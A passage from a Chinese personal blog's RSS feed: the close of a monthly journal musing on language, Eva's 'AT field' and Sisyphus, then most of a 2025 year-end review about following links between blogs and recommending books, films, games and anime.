&lt;p&gt;所以与其说&quot;世界本质是模糊的&quot;，不如说——&lt;strong&gt;世界的本质是溢出的&lt;/strong&gt;。它永远比我们的精确化工具能捕捉的更多。德里达管这叫&quot;延异&quot;(différance)：意义永远在滑动，每一次定义都同时是一次遗漏。精确化不是在还原真相，而是在建构一个可操作的模型。科学、法律、经济学，全都是这样——它们不是在描摹世界，而是在世界上投下一张网，&lt;strong&gt;网眼之外的东西，我们假装它不存在&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;也许两者都是。我们一边扩张，一边承认扩张的徒劳。就像西西弗斯推石头，明知道会滚下来，还是要推。&lt;/p&gt;
&lt;p&gt;不是因为石头会留在山顶，而是因为&lt;strong&gt;推的过程本身就是意义&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;—— &lt;a href=&quot;https://www.lapis.cafe/thoughts/#thought-2026/01-14&quot;&gt;网眼之外&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;另一篇记录了一次与前女友的见面：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我没有询问任何关于她私生活、情感方面的事情，也许有心照不宣的默契，可更多是对推心置腹后，他人闯入自己生活所带来风险与责任的规避。&lt;/p&gt;
&lt;p&gt;即便面对如此一位年纪相仿又有过一段情缘的异性，撑在同一把伞下，路上不乏有意无意的肢体接触，在嘈杂中交流时脸快贴到一起。但持续徒步的疲劳与持续交谈的麻木，或许有些悲哀，但有些抗拒来自心理本能，别说旧情复燃，甚至已经毫无性冲动了。。&lt;/p&gt;
&lt;p&gt;至此，我开始相信，或许「心之壁」是存在的。&lt;/p&gt;
&lt;p&gt;—— &lt;a href=&quot;https://ttio.cc/note/social-distance&quot;&gt;社交距离&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;读完这两篇文章，我意识到，当我写这篇月志的时候，其实就是在经历这样一个过程。&lt;/p&gt;
&lt;p&gt;当我试图把一月的经历转化成文字时，我自己也总是在做选择，哪些该写，哪些不该写。而那些写出来的东西，又总觉得「好像不是那个意思」。那些流动的、模糊的、矛盾的感受，被迫塞进「语言」这个有限容器里，必然会溢出，必然会被简化。&lt;/p&gt;
&lt;p&gt;我对你说「我很开心」，你听到的「开心」和我感受到的「开心」，从来都不是同一个东西。它们只是碰巧被同一个词标记了而已。&lt;/p&gt;
&lt;p&gt;这里有一段很久之前的摘抄：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我哪里会完全懂你此刻的心情。没有谁有真正的感同身受。&lt;/p&gt;
&lt;p&gt;我在体验我热爱的东西的时候，我兴奋不已，却看见你在旁边愁眉不展，我不能理解，甚至怪你在旁煞风景。那一刻我兴奋不已，幸福填满了我的整个胸腔，哪有空间去细细摸索去知晓你当时的苦楚。&lt;/p&gt;
&lt;p&gt;让一人开心十倍之物，也可以是让另一人伤心十倍之物。所以自己开心的时候，没有必要要求他人陪着自己享受同等的情绪，我们也要允许他人拥有自己的情绪，让自己做自己，让别人做别人。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这就是心之壁。Eva 里的 &lt;a href=&quot;https://mzh.moegirl.org.cn/A.T.Field&quot;&gt;A.T.Field&lt;/a&gt;，那道永远存在于人与人之间的屏障。&lt;/p&gt;
&lt;p&gt;写到这里，我忽然想起圣经里的巴比伦通天塔。人类原本语言相通，想要建造一座塔直通天际，上帝为了阻止他们，打乱了他们的语言，让他们无法沟通合作，塔也就此废弃。&lt;/p&gt;
&lt;p&gt;小时候读这个故事，并未觉得有什么奇特，只是感觉需要在中间增加一层翻译来便于协作。但现在想来，这和人类补完计划说的其实是同一件事，只是方向相反。&lt;/p&gt;
&lt;p&gt;上帝打乱语言，就是在人类之间制造心之壁。因为一旦语言相通，意义就能无损传递，人类就能像人类补完计划实现后的那样成为某种集体意识。而语言的不完美，那个从心灵到语言、再从语言到他人心灵的多层转换系统，每一次转换都在损失、在溢出、在变形——这正是心之壁技术上可行的实现。&lt;/p&gt;
&lt;p&gt;上帝造出语言的不完美，本质上就是在人类之间安插了永恒的心之壁。而这也让我开始理解，为什么 Eva 里的人类补完计划最终被拒绝了。&lt;/p&gt;
&lt;p&gt;如果心之壁真的消失了，如果语言真的能完美传达，那「我」也就不复存在了。这和&lt;em&gt;真心为你&lt;/em&gt; 的最后大家泡在「橙汁 LCL」思维同化后就只有唯一的个体一致，只有拒绝补完，例如最后的真嗣和明日香，才能有「我」这个形象，从而出现在最后的海滩上。&lt;/p&gt;
&lt;p&gt;我以前总觉得心之壁是可悲的，是人与人之间无法跨越的鸿沟。但反过来想，如果人类补完计划真的实现了，如果所有人的心之壁都消失了，如果每个人都能完全理解彼此，那会是怎样的一种景象？&lt;/p&gt;
&lt;p&gt;我也许会失去「自我」吧。&lt;/p&gt;
&lt;p&gt;正是因为心之壁的存在，我才成为了我。正是因为语言的不完美，我才有机会一遍又一遍地尝试表达，即使知道永远无法完全传达。这种徒劳的努力，这种西西弗斯式的推石头，或许就是「活着」这件事本身。&lt;/p&gt;
&lt;p&gt;就像第一篇文章里时歌写到最后的：「不是因为石头会留在山顶，而是因为推的过程本身就是意义。」&lt;/p&gt;
&lt;p&gt;我们因各自不同的表达才成为独立的「我」。&lt;/p&gt;
&lt;p&gt;写到这里，我发现我还是无法完全的表达出我心中所想的内容，即使我和 llm 聊了很长时间这个话题，自认为已经可以表达出来。这又何尝不是心之壁的体现呢？&lt;/p&gt;
&lt;p&gt;但我已经尽力了，再继续写下去也不会更好，和第二篇文章作者感到表达匮乏一样，我想我也应该多读一点书了。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;在和拖延症艰难搏斗了一个周之后，我终于拖着我基本康复的身体记下了这份迟到的月志。&lt;/p&gt;
&lt;p&gt;二月顺利！&lt;/p&gt;</content:encoded><category>浮生札记</category></item><item><title>2025：链接</title><link>https://cry4o4n0tfound.cn/blog/2025-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/2025-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/</guid><description>我的 2025 年终总结。</description><pubDate>Wed, 31 Dec 2025 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;跨年夜的「孤独」?：&lt;/h2&gt;
&lt;p&gt;写这篇年终总结的时间，恰逢我的博客建立一周年。回望去年的这个时候，我在写什么呢：&lt;/p&gt;
&lt;blockquote&gt;
&lt;h3&gt;跨年夜的&quot;孤独&quot;：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;生命从来不曾离开孤独而存在。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在是12.31晚上的8点30，后湖的烟花已经陆陆续续在放了。很吵闹，大概这就是跨年的气息🤔，毕竟中国人爱热闹是出了名的。&lt;/p&gt;
&lt;p&gt;一如既往没有出去跨年，对长沙节假日的人流量依旧保持着敬畏之心😇，幸运的是室友也不怎么喜欢在拥挤人潮中跨年的感觉，所以宿舍还算热闹，我们把b站跨年晚会开到最大声，也算营造出“热闹”的氛围了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;正好借此对比一下今年和去年的跨年。&lt;/p&gt;
&lt;p&gt;可以说是截然不同。&lt;/p&gt;
&lt;p&gt;现在是 12.31 晚上的 21:30，烟花没有在放，窗外的雨下的很大，雨声砸在遮雨板上有些吵，当然，与去年烟花满天放的后湖相比，还是非常安静的，但这就少了些「跨年的气息」。&lt;/p&gt;
&lt;p&gt;由于在 6 月底就搬出了寝室，今年的跨年也显得更加孤独，孤零零的出租小屋中真的只有雨声和我敲击键盘的声音。&lt;/p&gt;
&lt;p&gt;但与去年我写下的「生命从来不曾离开孤独而存在」相比，同样的孤独，今年我换了个角度来体会——&lt;strong&gt;孤独带来的自由&lt;/strong&gt;。搬出寝室后，我可以完全掌控自己的时间，不需要和室友协商作息。这种对时间和空间的绝对掌控权，让我第一次体会到：&lt;strong&gt;「孤独」的背面，其实是「自由」。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这种体验十分不错，不仅大大提高了生活质量，心情也跟着变好了。&lt;/p&gt;
&lt;p&gt;对比结束，接下来正式进入年终总结。&lt;/p&gt;
&lt;h2&gt;链接：&lt;/h2&gt;
&lt;p&gt;这是我为自己选择的年度关键词。&lt;/p&gt;
&lt;p&gt;无论观看什么作品，我总习惯顺着作者提到的线索「链接」过去，我经常会觉得，如果我喜欢作者的这个作品，那么我很可能会喜欢他喜欢的作品，作品本身就是作者的内心映射。&lt;/p&gt;
&lt;p&gt;以中学时看《情人》为例，是因为王小波喜欢杜拉斯，他在杂文中不止一次推荐王道乾先生的译本，那个时候还只是觉得这本书可能有趣；后来读青春伤痛文学——江南的《龙族》，看到陈雯雯穿着白裙在窗边读《情人》，我那个时候就跟路明非一样，觉得这样太迷人了，于是我跑去看了原著。&lt;/p&gt;
&lt;p&gt;阅读日本文学的契机也类似，来自一部番剧《月色真美》（标题源自夏目漱石那句「今夜は月が綺麗ですね」）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/01/55e37fe40a7e10eaeec98d0299db1202.png&quot; alt=&quot;从 b 站上截的摘录&quot;&gt;&lt;/p&gt;
&lt;p&gt;而「月色真美」的每一集的名字，都取自于日本作家的作品，例如这里截取的第 6 话 &lt;em&gt;奔跑吧梅洛斯&lt;/em&gt; 和第 10 话 &lt;em&gt;斜阳&lt;/em&gt;，皆出自于太宰治。于是因为对于剧集名称的好奇，我就跑去看了太宰治的一系列作品，领先网抑云高达三年（bushi），在这之后，我又去看了「文豪野犬」...诸如此类的例子还有很多，我就不再一一列举了，我想大家也会有同样的时刻。&lt;/p&gt;
&lt;p&gt;如果你写过简单的爬虫，就会发现这种行为和爬虫很像：从某一个页面提取链接，过滤清洗，继续爬取，循环往复...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这种网络爬虫习惯也继承到了我对博客的探索上。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在这个算法不仅决定我们要看什么，甚至决定我们想什么的时代，「博客」成了我逃离信息茧房的避难所（RSS 是否是另一种茧房暂且不论，但它带来的高质量信息与快乐，是算法无法比拟的）。&lt;/p&gt;
&lt;p&gt;在朋友圈或小红书这类国内主流社交平台上，我越来越难找到「活人感」。精致的滤镜和人设让我怀疑网线另一端是否是一个具体、有瑕疵的人。加上互联网戾气日重，正常的沟通变得越来越奢侈。&lt;/p&gt;
&lt;p&gt;所以今年我大幅减少了在国内社交平台的停留时间。取而代之的，是循着博客的友情链接不断点下去，尝试从新鲜的博客中获取有意思的东西，去寻找真正的交流，或者说——&lt;strong&gt;「链接」&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;有时候是循着一篇技术文章点进去，却在对方的「碎碎念」页面里看到了他对生活的迷茫，那一刻会让我意识到互联网的那一端是有一个真正鲜活的人。&lt;/p&gt;
&lt;p&gt;这种「链接」带给我的，是一种「世界依然广阔」的实感。它让我意识到，在那些同质化的短视频和热搜之外，依然有无数鲜活的、具体的、有趣的灵魂，正躲在互联网的角落里，搭建着属于自己的精神岛屿。&lt;/p&gt;
&lt;p&gt;中文独立博客是少有的让我认为互联网还是存在美好之地的地方，大多数人纯粹真诚且美好。&lt;strong&gt;在这里可以通过一个人，链接到一群人；然后再通过一个点，链接到一个世界。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;而点击「链接」一层一层联系起来的过程是我作为古典互联网遗民最大的乐趣之一。&lt;/p&gt;
&lt;p&gt;当然了，这一整段与其说是「链接」，不如说 cry 是一个很吃安利的人。&lt;/p&gt;
&lt;h2&gt;输入：&lt;/h2&gt;
&lt;p&gt;准确地讲应该是今年的阅读、观影、游戏、番剧动漫的输入。大多数的内容我已经在 「Me」页面做了初步的展示，&lt;/p&gt;
&lt;p&gt;这里是一些汇总以及推荐，也许我会考虑明年将对应的 书/影/漫/游 评作为一个新的栏目来讲，也有助于我自身的梳理，毕竟我不喜欢豆瓣这样的平台，对应的记录放在博客似乎也不错？但这依然取决于我明年的忙碌程度，鉴于今年的表现...我还是不为自己乱立 flag 了，让它依旧成为一个自由存在的栏目（取决于我的心情），随意书写，自由表达。&lt;/p&gt;
&lt;p&gt;接下来的统计中我可能还会谈到「链接」我到这部作品的上一部作品是什么，如果你能对上我的电波，不妨也「链接」过去。&lt;/p&gt;
&lt;h3&gt;阅读：&lt;/h3&gt;
&lt;p&gt;虽然自诩是一个喜爱读书的人，但令我感到惭愧的是，今年并没有读几本书，或者严格一点来讲，没有读太多人文社科一类的书籍，工具技术类的书籍虽然读的不少，但这类书就不太值得花篇幅来讲了，当你工作学习需要时，你自然会去读。&lt;/p&gt;
&lt;p&gt;那我来谈一谈人文社科一类今年我的推荐吧：&lt;/p&gt;
&lt;p&gt;《昨日的世界》：茨威格的回忆录。他在二战前写下这本书，回忆那个「昨天」的欧洲，之后不久便自杀了。我在看这本书的时候一直觉得，昨日的缩影也依旧笼罩在今天。但就像是身处第二次世界大战的人们并不知道自己已然陷入第二次世界大战，这些所谓的称谓，永远是后人基于结果的命名，当然，这也同样适用于现在的我们。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;看这本书的「链接」来自于年初时看的布达佩斯大饭店，导演在致谢名单中的第一位感谢了茨威格。如果你观看电影的话，应该会发现布达佩斯大饭店的兴衰和欧洲的历史非常相似。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;《被讨厌的勇气》：阿德勒心理学的科普书。对话体，读起来轻松。里面一些观点对我挺有启发，比如「课题分离」。当然，有些地方我觉得说得太绝对了，不过书嘛，取自己需要的部分就好。另外我十分喜欢其中的一句话——「人生是一连串的刹那」，正如我之前提到的，写博客这件事，也是在凝聚这些刹那，从而让我可以观看我过去的人生。&lt;/p&gt;
&lt;p&gt;《山茶文具店》：一本非常温柔且细腻的书。以下节选自当时写的短评：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;日本作家总是能以平淡地笔触描绘出细腻的生活（当然，这与译者也有很大联系），让人在不经意间感受到生活本身所带来的美好。 我一直觉得写信是一件非常浪漫的事，文字本身就够浪漫了。再将自己的心事付诸于笔端，更是浪漫到了极点，时光总会老去，但留在信纸上的却是永远的感动。 而《山茶文具店》讲述的就是写信的故事，女主作为代笔，帮助每一个到店中的人写信。13个故事中，存在思念、分手、借钱，都是些看似鸡毛蒜皮的小事，但交织在一起，便是生活，是那些进店寻求代笔写信人的生活，也是女主雨宫鸠子的生活。 看着信件中懊悔的语句时，我也在想，要是能多沟通一点，耐心一点，是不是就不会有那么多遗憾了呢？ 这很难评判。不过可以借书中的一句话来讲：“与其苦苦追寻失去的东西，还不如好好珍惜眼前拥有的东西。希望有朝一日，能笑着谈论今天。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;明年会读更多书吗？&lt;/p&gt;
&lt;p&gt;我想应该还是会的。但其实我跟 &lt;a href=&quot;https://lutaonan.com/&quot;&gt;Randy&lt;/a&gt; 老师对于读书的态度不谋而合：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果我最近读了很多书，那么意味着我最近过得不太好。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是的，如果我真的在最近读了很多书，那么意味着我急需某本书中的内容来支撑我的信念，来解决我的迷茫，像我这样的人总是需要找到一些精神慰藉来说服自己继续前进。&lt;/p&gt;
&lt;p&gt;书刚好是其中一种。因此我对今年读书少感到惭愧的同时，心里面却有一种欣慰，这意味着我今年始终有着坚定的方向，而不需要外界的鼓励。这种状态在 2026 年我仍然希望保持。&lt;/p&gt;
&lt;h3&gt;电影：&lt;/h3&gt;
&lt;p&gt;今年看过的电影同样很少，按照有印象的顺序排列并且值得推荐的大概是：&lt;/p&gt;
&lt;p&gt;《土拨鼠之日》：讲述了菲尔被困在 2 月 2 日土拨鼠之日这一天无限循环的故事。这是一个西西弗斯式的故事，最终菲尔将石头推到了山顶，找到了自己人生的意义。&lt;/p&gt;
&lt;p&gt;但在现代社会，没有意义的重复生活跟在同一天无限循环也没有什么区别。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这部电影的「链接」来自于高瞰老师的作品，印象中是《寻找天堂》中 Watts 提了一嘴，又或者是《影子工厂》？记忆有点模糊，反正是基于此。&lt;/p&gt;
&lt;p&gt;另外，我同样推荐《去月球》和《寻找天堂》中的两首曲子：&lt;em&gt;For River&lt;/em&gt; 和 &lt;em&gt;Born a Stranger&lt;/em&gt; 。&lt;/p&gt;
&lt;p&gt;这与这部电影无关，仅仅是我的私人推荐～&lt;/p&gt;
&lt;p&gt;另外的另外，如果喜欢看故事的话，《去月球》、《寻找天堂》以及《影子工厂》都是不错的故事，可以考虑游玩一番。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;《布达佩斯大饭店》：欧洲的兴衰史。我非常喜欢古斯塔夫先生自始至终保持的那种优雅，无论面对什么情况都维护着自己的尊严，用一句话来讲的话，那应该就是 &lt;em&gt;优雅永不过时&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;《天空之城》/ 《龙猫》/《魔女宅急便》/《哈尔的移动城堡》/《红猪》：这一列并不需要分开写，吉卜力动画本身就是一种美好。即使不挖掘背后深刻的隐喻，看那些手绘的云层和奇形怪状的机械，听着久石让的配乐，就足够值得我的喜欢了。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里的「链接」来自于 GPT-4o 刚出时的吉卜力风格图片，虽然小时候多多少少都看过一些，但并不完整，于是在暑假期间开始重温。&lt;/p&gt;
&lt;p&gt;可能我会在看完所有吉卜力动画后来谈一谈我心目中的排名吧。&lt;/p&gt;
&lt;p&gt;（这是不是会产生拉踩的嫌疑？）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;至于由动漫延伸出来的剧场版部分我就不归纳在电影这一类别了。&lt;/p&gt;
&lt;h3&gt;游戏：&lt;/h3&gt;
&lt;p&gt;最大的变化是将 pvp 游戏的占比几乎降到了 0。&lt;/p&gt;
&lt;p&gt;我厌倦了一切 pvp 的形式，懒得在游戏中也争个输赢——虽然我大多数游戏玩的还算不错，总归还是以赢居多，但肯定会有输的时候，而一输，就会使我的心情变得更加糟糕（凡事都要争个输赢也许是应试教育留下的烙印？我不知道，又或许只是人的天性），违背了我玩游戏的初衷。&lt;/p&gt;
&lt;p&gt;不过不可避免的是，当减少了这类游戏后，和某些朋友间的交流也少了一些，以往在游戏连麦中就可以交流许久，但没有了游戏作为中介后，对应共通的话题也就少了许多，但这在可以接受的范围，预计明年也会延续下去，我认为这应该不会冲淡友谊本身。我自己本身就是一个「服务器」型人格，别人不发请求消息，我大多数时候也不会主动发消息...我知道这应该不算一个很讨喜的性格，但...一时半会儿也改不过来。&lt;/p&gt;
&lt;p&gt;今年在 Steam 上玩游戏的时间也比去年少了，这在预料当中，我花了大量时间在学习方面，不得不说，学习编程真是一件非常「杀时间」的事情，无论是配环境还是调 bug，都是如此...&lt;/p&gt;
&lt;p&gt;Steam 的年终总结可以一眼望穿，正如我之前在 Memos 当中提到的，年度游戏是丝之歌。除此之外，玩了玩逆 转裁判以及命运石之门的游戏，但都不多。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/12/abfb6c43280450183d0e22f5003cee32.png&quot; alt=&quot;果然年度游戏是丝之歌&quot;&gt;&lt;/p&gt;
&lt;p&gt;当然，将主力设备切换到 Mac 也对这种情况有一定的贡献。众所周知，用 Mac 打游戏的人都应该进精神病院（我相信不少人都看过这张梗图）。&lt;/p&gt;
&lt;p&gt;另外，支持 arm 架构的游戏还是太少了些，我本身购置的 air 运行一些 3a 游戏也不太现实，主观和客观因素两相结合下，游戏时长大幅下降也就可以理解了。&lt;/p&gt;
&lt;p&gt;明年的话，我大概会购置一台 switch 来玩一些之前一直云通关的游戏，比如塞尔达，久仰大名甚至云通关都很久了，但奈何自己一直没有时间尝试，明年写年终总结的时候说不定就有塞尔达的推荐啦。&lt;/p&gt;
&lt;h3&gt;动漫：&lt;/h3&gt;
&lt;p&gt;这是唯一输出远大于去年的一项，年中的时候突然流行起填一个动画表，于是我跟风也去回顾了一下我的追番之旅：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/01/c46d5f3a9af8f31c9021b3493b9206a0.png&quot; alt=&quot;找不到了，又重新去填了一次&quot;&gt;&lt;/p&gt;
&lt;p&gt;从我的追番表中不难看出近几年我的追番量呈直线下降，这源于近几年业界对于「异世界厕纸」的量产（指非常多转生到异世界题材的劣质制作内容），以及我个人对于快餐化剧情越来越低的容忍度，所以我已经很久没有认真看番了。&lt;/p&gt;
&lt;p&gt;但正如我在「电影」一栏中提到的，暑假期间对于吉卜力作品的重温，成为了一个转折点，我又重新找回了观看动漫的乐趣，并且开始了老番考古。&lt;/p&gt;
&lt;p&gt;下面是我今年印象深刻的几部动画，至少对上了我的电波：&lt;/p&gt;
&lt;p&gt;《爱，死亡与机器人》：单元剧的形式，让我印象深刻的有齐马蓝、小小丧尸计划这些，短小有趣，我偶尔闲下来的空隙时间看完的。&lt;/p&gt;
&lt;p&gt;《星际牛仔》/1998：给我一种动漫版《教父》的感觉。整部番剧弥漫着一种慵懒的蓝调爵士味。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里的「链接」来自于渡边信一郎的另一部作品《混沌武士》，同样的公路片模式，同样的浪漫至死。如果你喜欢这种 Hip-hop 或 Jazz 的调调，这两部都是绝佳的「精神食粮」。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You&apos;re gonna carry that weight.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我非常喜欢其中爵士乐，这里可以放一段 op 来感受一下：&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;media-card bilibili-card my-6 rounded-xl border border-zinc-200 dark:border-zinc-800/60 bg-white dark:bg-zinc-900/50 overflow-hidden transition-all duration-200 hover:border-pencil/40 dark:hover:border-pencil-light/40 cursor-pointer&quot; data-media-url=&quot;https://www.bilibili.com/video/BV1KV411i7F2/?spm_id_from=333.337.search-card.all.click&amp;#x26;vd_source=11016d6c0ccb83ca51f0af92156c54a1&quot;&gt;&lt;div class=&quot;relative w-full&quot; style=&quot;padding-bottom: 56.25%;&quot;&gt;&lt;iframe src=&quot;https://player.bilibili.com/player.html?bvid=BV1KV411i7F2&amp;#x26;page=1&amp;#x26;high_quality=1&amp;#x26;autoplay=0&quot; class=&quot;absolute top-0 left-0 w-full h-full&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot; scrolling=&quot;no&quot; style=&quot;border: none;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;《命运石之门》/2011：这是一部我心目中的神作。前期的日常或许有些劝退，但当观测者开始观测，世界线的收束开始显现时，那种宿命感让人喘不过气。正如我在游戏部分提到的，今年我也玩了游戏原作。&lt;/p&gt;
&lt;p&gt;所谓的 &lt;em&gt;El Psy Kongroo&lt;/em&gt;，不仅是一句中二的咒语，更是对抗残酷现实的一道防线。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一切都是命运石之门的选择。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;除此之外，命运石之门也是我目前为止最喜欢的一部作品。&lt;/p&gt;
&lt;p&gt;《重启咲良田》/2017：非常冷静、非常理智的作品。近乎哲学的对话和逻辑推演。在一众超能力题材中，它显得格格不入。&lt;/p&gt;
&lt;p&gt;看这部番的时候我常常需要暂停思考，文戏部分是最为有趣的点，抛出了很多思想实验来探讨人性。&lt;/p&gt;
&lt;p&gt;《四叠半神话大系》/2010：&lt;strong&gt;今年最契合我生活状态的番剧，那一定是《四叠半》&lt;/strong&gt; 。你永远可以相信汤浅政明。&lt;/p&gt;
&lt;p&gt;主角困在 4.5 榻榻米的房间里，幻想着玫瑰色的大学生活，在无数个平行世界里重来，却发现无论怎么选择，生活似乎都充满了遗憾。这简直就是我大学生活的写照（虽然我现在的出租屋不止 4.5 榻榻米）。&lt;/p&gt;
&lt;p&gt;但它最终告诉我，根本不存在什么「玫瑰色的大学生活」，我们眼前这个充满了麻烦、甚至有些灰暗的当下，就是最好的选择。良机就在眼前，我们要做的只是抓住它，然后走出那间 4.5 榻榻米的房间。&lt;/p&gt;
&lt;p&gt;《Sonny Boy》（漂流少年）/2021：极度的「电波」作。如果你对不上电波，会觉得不知所云；如果对上了，它就是神作。&lt;/p&gt;
&lt;p&gt;一群少年少女在虚空中漂流，规则失效，世界崩塌。它剥离了社会赋予我们的所有标签，只剩下最原始的存在。那种虚无感和画面中溢出的夏日气息，让我这种即将步入社会的「漂流者」感到一种莫名的安抚，整部片子都在述说「迷茫」，尤其是青春的「迷茫」。江口寿史的人设加上极其风格化的演出，美学体验拉满。&lt;/p&gt;
&lt;p&gt;《Eva》/1995: 刺猬困境。真嗣害怕受伤所以拒绝与人接触。渴望链接，又害怕链接带来的痛楚。AT 力场也就是心之壁，我们每个人都活在自己的 AT 力场里。也许成长的过程，就是学会在保持 AT 力场的同时，试探性地去拥抱别人的过程。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里的「链接」来自于和子一学长一起跑去看了 Eva：终。云里雾里看了两个半小时后，回家开始补完...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;《电锯人》：事实上是在将近写完这篇年终总结时才看完了蕾塞篇。我只能说这是一部让我又难绷（我实在找不出别的形容词了，藤本树是真正意义上的赛博精神病）又好笑的作品，属于是纯电波向，但就电影票房而言，意外的能对上现代人的精神状态，让我产生一种世界也疯了的感觉。&lt;/p&gt;
&lt;p&gt;在统计完这一系列「输入」后，我意识到我不应该简单的将自己归类为什么人，例如爱阅读，或者说喜欢玩游戏、看电影、看动漫。&lt;/p&gt;
&lt;p&gt;准确来讲，我应该是一个三分钟热度的人。我常常会因为某段时间的遭遇而调整自己的「输入」，就像刚刚才提到的，迷茫困顿时读书，闲暇时观影游戏，充满好奇时看动漫。「输入」什么类型的东西，本身也与最近的境遇有关，没有必要局限于某一领域，这样探索的世界才会充满更多的未知和神秘，让生活本身不是那么的枯燥乏味。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不给自己划定标签，不给自己设定界限，这是我未来一年想落实的事情之一&lt;/strong&gt;。依旧像「链接」一样，因为某些推荐或链接从而着迷于某一个领域一段时间，这才更像我的风格。&lt;/p&gt;
&lt;h2&gt;输出：&lt;/h2&gt;
&lt;p&gt;今年也算是我重新捡起笔（或者键盘？）开始尝试写作的第一年。&lt;/p&gt;
&lt;p&gt;以往的内容我常常会记录在手机上一个叫做 &lt;em&gt;Moo日记&lt;/em&gt; 的 app 上，它们往往零碎——大多数时候是我的胡思乱想，顺带夹杂着在不同平台的摘抄摘录。&lt;/p&gt;
&lt;p&gt;但正因为太零碎了，所以我很难将它们串联成文章或者段落，只能作为我的一些引用放到我的写作上。&lt;/p&gt;
&lt;p&gt;真正写作的时候依旧存在着产出困难的问题。&lt;strong&gt;毕竟，当写下对应的内容时，心里总会有预设的读者，再不济，也有未来的自己会阅读这篇文章，自然也就对文章的写作要求越来越高&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;事实上，我的草稿文章早已比我在这个博客网站上展示出来的多的多，但真正写完并且发出来的内容依旧寥寥无几。除了有些内容本身是我三分钟热度新建文件夹写了个开头外，还有一些属于写完了不满意丢在那里，觉得只能留给自己看看的。&lt;/p&gt;
&lt;p&gt;作为一个有点完美主义的人，我无法忍受自己将没有完善或者没有达到自己预期的文章发出来，即使发出来的文章，如果在某一次重新阅读时不合预期，我也会将其删除。&lt;/p&gt;
&lt;p&gt;综上所述，坚持输出对于我也是一件很难的事，虽然今年年初周记也勉强写了几周，但后面也就越来越少了，除了本身忙碌外，也没有动力去记录对应的内容。因为如果太过零碎的话，这和我写日记也没有什么差距。&lt;/p&gt;
&lt;p&gt;所以 2026 我决定做一个平衡，模仿&lt;a href=&quot;https://leehenry.top/archive/&quot;&gt;伏枥&lt;/a&gt;的写作时间，尽量保证一月稳定输出一篇月志，也算是日记的总集篇了，我也希望自己的输出除了能帮助自己理清自己思绪的同时，能带来一些产出，为大家提供一些微不足道的帮助。&lt;/p&gt;
&lt;p&gt;另外，为了避免被人认为是 llm，我会努力克制使用破折号和 emoji，算是对 ai 时代的妥协吧...&lt;/p&gt;
&lt;p&gt;烦请监督我。&lt;/p&gt;
&lt;h2&gt;成长：&lt;/h2&gt;
&lt;p&gt;2025 带给我最重要的是什么呢？&lt;/p&gt;
&lt;p&gt;我觉得是成长。这个概念有点宽泛，但我觉得 2025 我很多方面都有所成长，所以这样简单的概括倒也合适。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;技术：2025 大概是我真正开始认认真真学习计算机的一年，并且对于计算机的很多领域产生了兴趣，虽然自知精力有限无法面面俱到，但抱有好奇心一定是没有错的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2026/01/3abf0c444cbf6bf38dc1add844f210b3.png&quot; alt=&quot;逐渐开始活跃于 github&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;心态：减少了一切在大学不必要学业中的投入，没有了像去年那样考完电子电路还会纠结个不停的内耗。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;社交：不再尝试和一些与我没有相同志趣爱好的人尽力维持关系的想法，大大降低了在学校的社交压力，转而将其投入到了我的兴趣爱好和有共同话题的朋友当中。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
